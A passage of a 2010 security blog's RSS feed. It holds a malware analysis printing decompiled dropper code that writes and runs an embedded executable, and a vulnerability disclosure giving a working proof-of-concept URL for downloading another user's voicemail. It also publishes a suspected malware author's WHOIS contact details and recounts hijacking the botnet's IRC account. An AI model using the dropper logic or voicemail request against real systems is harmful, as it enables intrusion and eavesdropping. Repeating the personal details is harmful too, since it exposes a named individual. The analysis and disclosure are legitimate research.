	All Tags: <a href="http://www.iglobalonline.com/tag/browser/" title="browser" rel="tag nofollow">browser</a>, <a href="http://www.iglobalonline.com/tag/chrome/" title="Chrome" rel="tag nofollow">Chrome</a>, <a href="http://www.iglobalonline.com/tag/firefox/" title="Firefox" rel="tag nofollow">Firefox</a>, <a href="http://www.iglobalonline.com/tag/ie78/" title="IE7/8" rel="tag nofollow">IE7/8</a>, <a href="http://www.iglobalonline.com/tag/insecure-preferences/" title="insecure preferences" rel="tag nofollow">insecure preferences</a>, <a href="http://www.iglobalonline.com/tag/obfuscation/" title="Obfuscation" rel="tag nofollow">Obfuscation</a>, <a href="http://www.iglobalonline.com/tag/proof-of-concept/" title="Proof of Concept" rel="tag nofollow">Proof of Concept</a>, <a href="http://www.iglobalonline.com/tag/security/" title="Security" rel="tag nofollow">Security</a>, <a href="http://www.iglobalonline.com/tag/url-spoof/" title="URL spoof" rel="tag nofollow">URL spoof</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.iglobalonline.com/2010/03/22/oldschool-url-obfuscation-w-override-preferences/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malware Analysis: Herder Disclosure and Botnet Dissection</title>
		<link>http://www.iglobalonline.com/2010/03/17/malware-analysis-herder-disclosure-and-botnet-hijacking/</link>
		<comments>http://www.iglobalonline.com/2010/03/17/malware-analysis-herder-disclosure-and-botnet-hijacking/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 04:28:56 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[.Net]]></category>
		<category><![CDATA[malware analysis]]></category>
		<category><![CDATA[reverse engineer]]></category>
		<category><![CDATA[soulmate botnet]]></category>
		<category><![CDATA[trojan]]></category>
		<category><![CDATA[VB.Net]]></category>

		<guid isPermaLink="false">http://www.iglobalonline.com/?p=71</guid>
		<description><![CDATA[After monitoring MalwareDomainList.com, I noticed an interesting piece of malware showing up on the Recent Updates. It was hosted on OAST.com which is a pretty high-traffic site. I decided to grab a copy of the binary and load it into my VM. To my surprise, it was the first .NET dropper I have came across [...]]]></description>
			<content:encoded><![CDATA[<p><!--/post-excerpt -->After monitoring MalwareDomainList.com, I noticed an  interesting piece of malware showing up on the Recent Updates. It was  hosted on OAST.com which is a pretty high-traffic site. I decided to  grab a copy of the binary and load it into my VM. To my surprise, it was  the first .NET dropper I have came across in the wild.</p>
<p><strong>Tools Used<br />
</strong></p>
<ul>
<li>PEiD</li>
<li>Wireshark</li>
<li>ProcMon</li>
<li>Reflector</li>
<li>mIRC (yes, seriously lol)</li>
</ul>
<p><strong>Checking PE<br />
</strong>I opened the malware with PEiD and noticed it was a .NET  Trojan. This made for an easy and quick reverse engineer.</p>
<div id="attachment_76">
<div id="attachment_76" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/PEiD-Soulmate.png"><img class="size-medium wp-image-76" title="PEiD - Soulmate" src="http://www.iglobalonline.com/wp-content/ups/2010/03/PEiD-Soulmate-300x172.png" alt="PEiD - Soulmate" width="300" height="172" /></a><p class="wp-caption-text">PEiD - Soulmate</p></div>
</div>
<p><strong>Disassemble and Analyze<br />
</strong>Since .NET can easily be decompiled, I launched Red Gate  Reflector and opened the binary up to see whats going on inside. Looks  like the developer either lacks knowledge on obfuscation or is simply  wanting to do it manually.  I went straight to the Form1_Load to see  what happens since this is more then likely going to be the first code  execution.</p>
<pre>Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
 Dim tempPath As String = Path.GetTempPath
 FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, _
     OpenAccess.Read, OpenShare.Shared, -1)
 Dim str2 As String = Strings.Space(CInt(FileSystem.LOF(1)))
 FileSystem.FileGet(1, (str2), -1, False)
 FileSystem.FileClose(New Integer() { 1 })
 Dim str3 As String = Form1.t6CEBpl0pZRC46YkNNwiunb(Strings.Split(str2, _
     "@KSJDFSDKFJSDLFJSLKFjslkdfjlKSDJflkSJDflkjdfkjsdlk@", _
     -1, CompareMethod.Binary)(1), "kSjdflskdfj293857OLSKDjflkksdfj9827352lssjdf2983572o3ijLSKDfjlskjfsf")
 FileSystem.FileOpen(2, (tempPath &amp; "\Out.exe"), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1)
 FileSystem.FilePut(2, str3, -1, False)
 FileSystem.FileClose(New Integer() { 2 })
 Process.Start((tempPath &amp; "\Out.exe"))
 Me.Close
End Sub
</pre>
<p>It looks fairly straight forwarded.</p>
<p>1) Locates the TEMP path<br />
2) Read the executing assembly<br />
3) Calls a function that strips the embedded binary into a separate  string<br />
4) Writes the embedded binary into Out.exe in the TEMP path<br />
5) Executes the embedded binary</p>
<p><strong>PEiD on the trojan binary<br />
</strong>I decided to write a quick application in .NET to extract the embedded binary using the decompiled code from the dropper. Using PEiD on the new trojan, I noticed it was nothing more then a compressed executable.</p>
<div id="attachment_77" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/PEiD-Trojan.png"><img class="size-medium wp-image-77" title="PEiD - Trojan" src="http://www.iglobalonline.com/wp-content/ups/2010/03/PEiD-Trojan-300x172.png" alt="PEiD - Trojan" width="300" height="172" /></a><p class="wp-caption-text">PEiD - Trojan</p></div>
<p>I just went ahead and extracted the contents using WinRar and found 2 mIRC scripts, 3 text files, and an image.</p>
<div id="attachment_78" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/Extract-Trojan.png"><img class="size-medium wp-image-78" title="Extract - Trojan" src="http://www.iglobalonline.com/wp-content/ups/2010/03/Extract-Trojan-300x179.png" alt="Extract - Trojan" width="300" height="179" /></a><p class="wp-caption-text">Extract - Trojan</p></div>
<p>See <a title="Soulmate - Crime.mrc" href="http://pastebin.com/iM36ruXP" target="_blank">crime.mrc</a></p>
<p>See <a title="Soulmate - Ok.mrc" href="http://pastebin.com/sPqA5mmD" target="_blank">ok.mrc</a></p>
<p>See <a title="Soulmate - Image.jpg" href="http://img101.imageshack.us/img101/4823/imagegx.jpg" target="_blank">image.jpg</a></p>
<p>Just by looking at the crime.mrc you can tell what the trojan is going to do. It contains the instructions for the backdoor when its executed.</p>
<p><strong>Soulmate crime.mrc analysis<br />
</strong>1) When it first starts it executes the .st logic<br />
2) It reads the text files and sets random nickname/realname/ident<br />
3) Sets a bunch of settings<br />
4) Connects to the UnderNET irc network<br />
5) Logs in to cservice using the username: shakay<br />
6) Sets notify on a bunch of nicknames</p>
<p><strong>Playing with the trojan</strong><br />
So, noticing how lame this botnet really looks on the inside I decided to fire-up Wireshark and Procmon. I launched the dropper and immediately noticed IRC traffic along with a nice image pop up. I would post the Wireshark capture but its pretty newbish.</p>
<p>I looked at ProcMon and seen that it did indeed save Out.exe along with a bunch of other files as hidden system files into a TEMP path.</p>
<ul>
<li>daemon.exe &#8211; a mIRC client binary</li>
<li>temporarly.reg &#8211; registry settings for start-up execution</li>
<li>catchme.bat &#8211; a batch file for executing everything</li>
</ul>
<p>In the folder also contained the extraction of the Trojan.</p>
<p><strong>Developer Signature<br />
</strong>Going back to the earlier .NET dis-assembly, I looked for a unique string that might help me identify the developer. The first one I tried was the string:</p>
<p>Google Search: Strings.Space(CInt(FileSystem.LOF(1)))</p>
<p>I jumped straight into google and guess what I found? A Pastebin of the signature match as the first result. Gotta love Google!</p>
<p>See <a title="Soulmate - String Match" href="http://pastebin.com/nRCK4YBG" target="_blank">String Match</a></p>
<p>Looks like the Pastebin code is a VB.NET binder/crypter that attempts to evade detection from many known applications and also uses the same coding methodology our dropper uses.  Hmmm&#8230; who is this RiverThief guy that posted the Pastebin?</p>
<p>Let&#8217;s try out our friend, Google, again!</p>
<p>Google Search: riverthief malware</p>
<div id="attachment_80" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/ReiverThief.png"><img class="size-medium wp-image-80" title="Google - RiverThief Malware" src="http://www.iglobalonline.com/wp-content/ups/2010/03/ReiverThief-300x252.png" alt="Google - RiverThief Malware" width="300" height="252" /></a><p class="wp-caption-text">Google - RiverThief Malware</p></div>
<p>The thing I love about Google is how it always cache&#8217;s sites. It looks like our RiverThief guy has some connection to writing undetectable malware and owns a botnet. Also in the results, you notice two domains www.riverthief.info and riverthief.co.cc. I went ahead and grabbed the  Registrar information for riverthief.info.</p>
<pre>Registrant ID:CR40000685
Registrant Name:River Thief
Registrant Organization:
Registrant Street1:654 verginia lane
Registrant Street2:
Registrant Street3:
Registrant City:Houston
Registrant State/Province:Texas
Registrant Postal Code:77042
Registrant Country:US
Registrant Phone:+1.2814441585
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:riverthief@live.com
</pre>
<div id="attachment_82" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/RiverThief-home.png"><img class="size-medium wp-image-82" title="RiverThief Home" src="http://www.iglobalonline.com/wp-content/ups/2010/03/RiverThief-home-300x214.png" alt="RiverThief Home" width="300" height="214" /></a><p class="wp-caption-text">RiverThief Home</p></div>
<div id="attachment_83" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/RiverThief-Phone.png"><img class="size-medium wp-image-83" title="RiverThief - Phone" src="http://www.iglobalonline.com/wp-content/ups/2010/03/RiverThief-Phone-300x119.png" alt="RiverThief - Phone" width="300" height="119" /></a><p class="wp-caption-text">RiverThief - Phone</p></div>
<p><strong>Playing on IRC<br />
</strong>So I fired up mIRC, used some settings from the text files earlier, and joined #soulmate since I found that channel in the crime.mrc. Immediately a user nicknamed &#8220;wolf&#8221; tried to issue commands to me. I sent him a private message refusing to comply. LOL! I manually authenticated using the shakay user, logged into cservice&#8217;s website, and changed shakay&#8217;s password.</p>
<p>Wolf wasn&#8217;t very happy. He kick/banned me with some vulgar language. Then he invited me back into the channel begging me to release the shakay username (which was registered to the email: shakay@url.ro). All he had to do was reset the password.</p>
<p><strong>Conclusion<br />
</strong>Malware writers and bot herders seem to be using the same old tricks with newer technologies. Although the .NET framework is required for this dropper to backdoor the machine, .NET is becoming more and more popular. This will prove to enable malware writers to build droppers very easily. The person behind this one obviously didn&#8217;t spend too much time making this.</p>
<p>Chances are either some romanian hacker grabbed RiverThief&#8217;s VB.NET code and took a shot at it or RiverThief is behind this botnet. Either way, it was rookie malware and simple to reverse.</p>

	All Tags: <a href="http://www.iglobalonline.com/tag/net/" title=".Net" rel="tag nofollow">.Net</a>, <a href="http://www.iglobalonline.com/tag/malware-analysis/" title="malware analysis" rel="tag nofollow">malware analysis</a>, <a href="http://www.iglobalonline.com/tag/reverse-engineer/" title="reverse engineer" rel="tag nofollow">reverse engineer</a>, <a href="http://www.iglobalonline.com/tag/soulmate-botnet/" title="soulmate botnet" rel="tag nofollow">soulmate botnet</a>, <a href="http://www.iglobalonline.com/tag/trojan/" title="trojan" rel="tag nofollow">trojan</a>, <a href="http://www.iglobalonline.com/tag/vbdotnet/" title="VB.Net" rel="tag nofollow">VB.Net</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.iglobalonline.com/2010/03/17/malware-analysis-herder-disclosure-and-botnet-hijacking/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PF Visual Voicemail make voice-mails too visual</title>
		<link>http://www.iglobalonline.com/2010/02/08/pf-visual-voicemail-make-voice-mails-too-visual/</link>
		<comments>http://www.iglobalonline.com/2010/02/08/pf-visual-voicemail-make-voice-mails-too-visual/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 16:23:13 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Android Security]]></category>
		<category><![CDATA[Alltel]]></category>
		<category><![CDATA[AT&T]]></category>
		<category><![CDATA[Authentication bypass]]></category>
		<category><![CDATA[Blackberry]]></category>
		<category><![CDATA[iPhone Security]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[PF Voicemail]]></category>
		<category><![CDATA[Phone Fusion]]></category>
		<category><![CDATA[Sprint]]></category>
		<category><![CDATA[Symbian]]></category>
		<category><![CDATA[T-mobile]]></category>
		<category><![CDATA[Verizon]]></category>
		<category><![CDATA[Visual Voicemail]]></category>
		<category><![CDATA[Vulnerable]]></category>
		<category><![CDATA[Windows Mobile]]></category>

		<guid isPermaLink="false">http://www.iglobalonline.com/?p=38</guid>
		<description><![CDATA[It seems the leader in visual voice-mail applications, Phone Fusion, has accidentally left users voice-mails a little too &#8220;visual&#8221;. Phone Fusion provides an app for its Visual Voicemail Plus on all major smartphones and carriers (See list). I have only evaluated the version provided for the Android, but based on the method of communication it [...]]]></description>
			<content:encoded><![CDATA[<p>It seems the leader in visual voice-mail applications, Phone Fusion, has accidentally left users voice-mails a little too &#8220;visual&#8221;.</p>
<p>Phone Fusion provides an app for its Visual Voicemail Plus on all major smartphones and carriers (<a title="Phone Fusion Visual Voicemail Plus" href="http://www.fusionvoicemailplus.com/marketing/default.htm" target="_blank">See list</a>). I have only evaluated the version provided for the Android, but based on the method of communication it seems it would be the same across all platforms.</p>
<p>The device handles the authentication for syncing with the gateway providing the user with new voicemails. The issue lies within the way the communication occurs with the users voicemail storage.</p>
<p>Communication with the voicemail storage gateway is through an unencrypted request via HTTP with no authentication. This communication is visible locally by watching normal HTTP traffic.</p>
<p><a href="http://www.iglobalonline.com/wp-content/ups/2010/02/poc.bmp"><img class="aligncenter size-full wp-image-40" title="Phone Fusion Visual Voicemail Proof of Concept" src="http://www.iglobalonline.com/wp-content/ups/2010/02/poc.bmp" alt="Phone Fusion Visual Voicemail Proof of Concept" width="820" height="556" /></a></p>
<p>The vulnerability is triggered when issuing a crafted GET request to the applications gateway web service. This request forces the gateway to provide an audio file of the voicemail in MP3 or VTT format.</p>
<p><a href="http://www.iglobalonline.com/wp-content/ups/2010/02/poc2.bmp"><img class="aligncenter size-full wp-image-41" title="Phone Fusion Visual Voicemail Proof of Concept 2" src="http://www.iglobalonline.com/wp-content/ups/2010/02/poc2.bmp" alt="Phone Fusion Visual Voicemail Proof of Concept 2" width="820" height="575" /></a></p>
<p>Phone Fusion has been notified regarding this issue, promptly responding with more concern for who I was then the issue at hand. They have not confirmed their plans on patching this issue.</p>
<p>Stay tuned as we wait for them to decide what they plan on doing. If I do not hear back regarding their plans I will provide a proof of concept link on 02/10/2010.</p>
<p style="padding-left: 30px;">
<hr style="padding-left: 30px;" />
<h1><strong>UPDATE 02/10/2010</strong></h1>
<p>As promised, the Proof of Concept and some information regarding the unique domainid.</p>
<p><strong>POC</strong>: <a title="Download from my voicemail box." href="http://login.phonefusion.com/php/mail_frontend.php?action=GET&amp;send_header=YES&amp;output_format=MP3&amp;mdnis=101100136272&amp;domainid=2010020400431243001000430011996" target="_self">Download straight from my mailbox.</a></p>
<p><span style="text-decoration: underline;"><strong>Parameters</strong></span></p>
<p><strong>action</strong>: Tells the server how to handle the request. (GET downloads voicemail, MULTIPERMDELETE erases multiple voicemails)<br />
<strong>send_header</strong>: Tells the server to force the headers for voicemail downloads.<br />
<strong>output_format</strong>: Audio Format (MP3 or VTT)<br />
<strong>mdnis</strong>: Used by Phone Fusion to determine the inbound routing.<br />
<strong>domainid</strong>: Unique but potentially forcible message id. &lt;yyyymmddhhmmssmm&gt;001000&lt;9 digit identifier&gt;</p>
<p>If anyone finds more information of how the domainid is generated, feel free to email me or post a comment and I will update the post. Also, if anyone can determine this is working cross-platform (im sure it is) that would be great.</p>
<p style="padding-left: 30px;">
<hr />
<h1><strong>UPDATE 02/15/2010</strong></h1>
<p>It looks like they issued a quick patch. PF Visual Voicemail looks like it no longer is using plain-text HTTP for its connection, however, the POC above still works. Interesting&#8230; I will dig into this a bit more in the near future.</p>

	All Tags: <a href="http://www.iglobalonline.com/tag/alltel/" title="Alltel" rel="tag nofollow">Alltel</a>, <a href="http://www.iglobalonline.com/tag/android-security/" title="Android Security" rel="tag nofollow">Android Security</a>, <a href="http://www.iglobalonline.com/tag/att/" title="AT&amp;T" rel="tag nofollow">AT&amp;T</a>, <a href="http://www.iglobalonline.com/tag/authentication-bypass/" title="Authentication bypass" rel="tag nofollow">Authentication bypass</a>, <a href="http://www.iglobalonline.com/tag/blackberry/" title="Blackberry" rel="tag nofollow">Blackberry</a>, <a href="http://www.iglobalonline.com/tag/iphone-security/" title="iPhone Security" rel="tag nofollow">iPhone Security</a>, <a href="http://www.iglobalonline.com/tag/nokia/" title="Nokia" rel="tag nofollow">Nokia</a>, <a href="http://www.iglobalonline.com/tag/pf-voicemail/" title="PF Voicemail" rel="tag nofollow">PF Voicemail</a>, <a href="http://www.iglobalonline.com/tag/phone-fusion/" title="Phone Fusion" rel="tag nofollow">Phone Fusion</a>, <a href="http://www.iglobalonline.com/tag/sprint/" title="Sprint" rel="tag nofollow">Sprint</a>, <a href="http://www.iglobalonline.com/tag/symbian/" title="Symbian" rel="tag nofollow">Symbian</a>, <a href="http://www.iglobalonline.com/tag/t-mobile/" title="T-mobile" rel="tag nofollow">T-mobile</a>, <a href="http://www.iglobalonline.com/tag/verizon/" title="Verizon" rel="tag nofollow">Verizon</a>, <a href="http://www.iglobalonline.com/tag/visual-voicemail/" title="Visual Voicemail" rel="tag nofollow">Visual Voicemail</a>, <a href="http://www.iglobalonline.com/tag/vulnerable/" title="Vulnerable" rel="tag nofollow">Vulnerable</a>, <a href="http://www.iglobalonline.com/tag/windows-mobile/" title="Windows Mobile" rel="tag nofollow">Windows Mobile</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.iglobalonline.com/2010/02/08/pf-visual-voicemail-make-voice-mails-too-visual/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Password Storage Applications: Just how secure are they?</title>
		<link>http://www.iglobalonline.com/2010/02/07/password-security-applications-just-how-secure/</link>
		<comments>http://www.iglobalonline.com/2010/02/07/password-security-applications-just-how-secure/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 00:25:54 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Android Security]]></category>
		<category><![CDATA[applications]]></category>
		<category><![CDATA[banking information]]></category>
		<category><![CDATA[compromise]]></category>
		<category><![CDATA[credit cards]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[sensitive data]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.iglobalonline.com/?p=28</guid>
		<description><![CDATA[Recently I started playing with password security applications in the Android market that claimed &#8216;reliable&#8217; from the authors. I decided to focus on the applications that had 4 or more stars and a lot of downloads. Since these types of applications store sensitive data, I wanted to see how hard it was to obtain this [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I started playing with password security applications in the Android market that claimed &#8216;reliable&#8217; from the authors. I decided to focus on the applications that had 4 or more stars and a lot of downloads.</p>
<p>Since these types of applications store sensitive data, I wanted to see how hard it was to obtain this information assuming a handset was lost or stolen.  The common denominator between all the popular apps were the use of a master password. Some of the apps stored master passwords locally while others stored them remotely. All the apps stored banking information, passwords, and credit card numbers.</p>
<p>With being able to turn off your SIM card if your phone is lost or stolen; its not as easy to change passwords to sites or notify banks of accounts that could have been compromised.</p>
<p>With such a major number of users adding Android MOD&#8217;s such as Cyanogen to their device, it greatly increases the risk of personal information being leaked when a phone is stolen or lost.</p>
<p>We have already started notifying vendors of the vulnerabilities we have found.  Stay tuned as we start posting some of the results, you will be surprised at just how easy these applications could be compromised by attackers.</p>

	All Tags: <a href="http://www.iglobalonline.com/tag/android-security/" title="Android Security" rel="tag nofollow">Android Security</a>, <a href="http://www.iglobalonline.com/tag/applications/" title="applications" rel="tag nofollow">applications</a>, <a href="http://www.iglobalonline.com/tag/banking-information/" title="banking information" rel="tag nofollow">banking information</a>, <a href="http://www.iglobalonline.com/tag/compromise/" title="compromise" rel="tag nofollow">compromise</a>, <a href="http://www.iglobalonline.com/tag/credit-cards/" title="credit cards" rel="tag nofollow">credit cards</a>, <a href="http://www.iglobalonline.com/tag/password/" title="password" rel="tag nofollow">password</a>, <a href="http://www.iglobalonline.com/tag/secure/" title="secure" rel="tag nofollow">secure</a>, <a href="http://www.iglobalonline.com/tag/security/" title="Security" rel="tag nofollow">Security</a>, <a href="http://www.iglobalonline.com/tag/sensitive-data/" title="sensitive data" rel="tag nofollow">sensitive data</a>, <a href="http://www.iglobalonline.com/tag/vulnerability/" title="vulnerability" rel="tag nofollow">vulnerability</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.iglobalonline.com/2010/02/07/password-security-applications-just-how-secure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mobile Developer Insecurity</title>
		<link>http://www.iglobalonline.com/2010/02/05/mobile-developer-insecurity/</link>
		<comments>http://www.iglobalonline.com/2010/02/05/mobile-developer-insecurity/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 19:29:54 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Smart Phones]]></category>
		<category><![CDATA[bank information]]></category>
		<category><![CDATA[developer]]></category>
		<category><![CDATA[insecurity]]></category>
		<category><![CDATA[mobile security]]></category>
		<category><![CDATA[personal information]]></category>
		<category><![CDATA[sensitive data]]></category>
		<category><![CDATA[Smartphone]]></category>
		<category><![CDATA[trust]]></category>

		<guid isPermaLink="false">http://www.iglobalonline.com/?p=8</guid>
		<description><![CDATA[Now a days, mobile phones are the gateway to banking, communication, and the internet. Some companies provide applications to control access to homes (like Schlage) while others provide an entrance into bank accounts (like Bank of America). With the sudden rise in developers and the ease of pushing apps into the public market place, users [...]]]></description>
			<content:encoded><![CDATA[<p>Now a days, mobile phones are the gateway to banking, communication, and the internet. Some companies provide applications to control access to homes (like Schlage) while others provide an entrance into bank accounts (like Bank of America). With the sudden rise in developers and the ease of pushing apps into the public market place, users are getting comfortable installing and running pretty much just about any app, especially when its free.</p>
<p>As a security analyst, I decided to start examining how these apps work. What I found was astonishing! So far, almost all the apps I have dissected contain extreme high risk vulnerabilities when storing sensitive data. I decided to create this blog to post some of my findings to the world in hopes of providing a break down of just how serious this issue is.<br />
Without giving away too much detail, a highly used app (on all major markets) that provides a visual to your voicemail, has a authentication bypass that allows an attacker to download voicemails in MP3 format from another users mailbox. I have properly notified the vendor on 02/04/2010 and have been providing them with my findings. I will be blogging about this vulnerability on 02/28/2010 or sooner assuming they issue a patch for it.</p>
<p>Stay tuned as I start publicly dissecting these apps. If anyone would like to work with me on projects, feel free to contact me.</p>

	All Tags: <a href="http://www.iglobalonline.com/tag/bank-information/" title="bank information" rel="tag nofollow">bank information</a>, <a href="http://www.iglobalonline.com/tag/developer/" title="developer" rel="tag nofollow">developer</a>, <a href="http://www.iglobalonline.com/tag/insecurity/" title="insecurity" rel="tag nofollow">insecurity</a>, <a href="http://www.iglobalonline.com/tag/mobile-security/" title="mobile security" rel="tag nofollow">mobile security</a>, <a href="http://www.iglobalonline.com/tag/personal-information/" title="personal information" rel="tag nofollow">personal information</a>, <a href="http://www.iglobalonline.com/tag/sensitive-data/" title="sensitive data" rel="tag nofollow">sensitive data</a>, <a href="http://www.iglobalonline.com/tag/smartphone/" title="Smartphone" rel="tag nofollow">Smartphone</a>, <a href="http://www.iglobalonline.com/tag/trust/" title="trust" rel="tag nofollow">trust</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.iglobalonline.com/2010/02/05/mobile-developer-insecurity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
